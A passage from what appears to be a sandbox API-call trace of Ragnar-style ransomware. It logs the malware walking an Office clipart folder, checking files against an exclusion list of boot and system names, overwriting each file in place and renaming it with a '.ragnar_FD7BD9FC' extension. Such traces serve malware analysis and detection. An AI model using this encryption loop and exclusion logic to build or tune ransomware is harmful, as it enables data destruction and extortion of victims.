(lpAddress=0x0, dwSize=0x60c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.603] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60c, lpOverlapped=0x0) returned 1 [0090.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.603] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60c, lpOverlapped=0x0) returned 1 [0090.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.603] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.603] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.603] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.604] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.604] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.604] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.604] GetProcessHeap () returned 0x580000 [0090.604] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.604] CloseHandle (hObject=0xf4) returned 1 [0090.604] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" [0090.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ragnar_FD7BD9FC" [0090.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.605] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd76600, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7cd76600, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01394_.WMF", cAlternateFileName="")) returned 1 [0090.605] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.605] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL01394_.WMF" | out: lpString1="SL01394_.WMF") returned="SL01394_.WMF" [0090.605] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF") returned=".WMF" [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="autorun.inf") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="boot.ini") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="bootfont.bin") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="bootsect.bak") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="bootmgr") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="bootmgr.efi") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="desktop.ini") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="iconcache.db") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="ntldr") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="ntuser.dat") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="ntuser.ini") returned 1 [0090.605] lstrcmpiW (lpString1="SL01394_.WMF", lpString2="thumbs.db") returned -1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf")) returned 0x20 [0090.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.606] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6916) returned 1 [0090.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1afb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.607] GetProcessHeap () returned 0x580000 [0090.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.607] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.608] VirtualAlloc (lpAddress=0x0, dwSize=0x1b04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.608] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b04, lpOverlapped=0x0) returned 1 [0090.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.609] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b04, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.609] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b04, lpOverlapped=0x0) returned 1 [0090.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.610] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.610] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.610] GetProcessHeap () returned 0x580000 [0090.610] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.610] CloseHandle (hObject=0xf4) returned 1 [0090.610] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" [0090.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ragnar_FD7BD9FC" [0090.610] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01394_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01394_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f2b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f2b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01395_.WMF", cAlternateFileName="")) returned 1 [0090.611] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.611] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL01395_.WMF" | out: lpString1="SL01395_.WMF") returned="SL01395_.WMF" [0090.611] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF") returned=".WMF" [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="autorun.inf") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="boot.ini") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="bootfont.bin") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="bootsect.bak") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="bootmgr") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="bootmgr.efi") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="desktop.ini") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="iconcache.db") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="ntldr") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="ntuser.dat") returned 1 [0090.611] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.612] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="ntuser.ini") returned 1 [0090.612] lstrcmpiW (lpString1="SL01395_.WMF", lpString2="thumbs.db") returned -1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.612] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf")) returned 0x20 [0090.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.612] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5004) returned 1 [0090.612] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.612] GetProcessHeap () returned 0x580000 [0090.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.612] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.614] VirtualAlloc (lpAddress=0x0, dwSize=0x138c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.614] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x138c, lpOverlapped=0x0) returned 1 [0090.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.615] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x138c, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.615] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x138c, lpOverlapped=0x0) returned 1 [0090.615] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x138c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.615] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x138c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.616] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.616] GetProcessHeap () returned 0x580000 [0090.616] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.616] CloseHandle (hObject=0xf4) returned 1 [0090.616] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" [0090.616] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ragnar_FD7BD9FC" [0090.616] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SL01565_.WMF", cAlternateFileName="")) returned 1 [0090.617] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.617] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SL01565_.WMF" | out: lpString1="SL01565_.WMF") returned="SL01565_.WMF" [0090.617] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF") returned=".WMF" [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="autorun.inf") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="boot.ini") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="bootfont.bin") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="bootsect.bak") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="bootmgr") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="bootmgr.efi") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="desktop.ini") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="iconcache.db") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="ntldr") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="ntuser.dat") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="ntuser.ini") returned 1 [0090.617] lstrcmpiW (lpString1="SL01565_.WMF", lpString2="thumbs.db") returned -1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.617] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf")) returned 0x20 [0090.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.618] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27844) returned 1 [0090.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.618] GetProcessHeap () returned 0x580000 [0090.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.618] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.620] VirtualAlloc (lpAddress=0x0, dwSize=0x6cc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.620] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6cc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6cc4, lpOverlapped=0x0) returned 1 [0090.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.621] 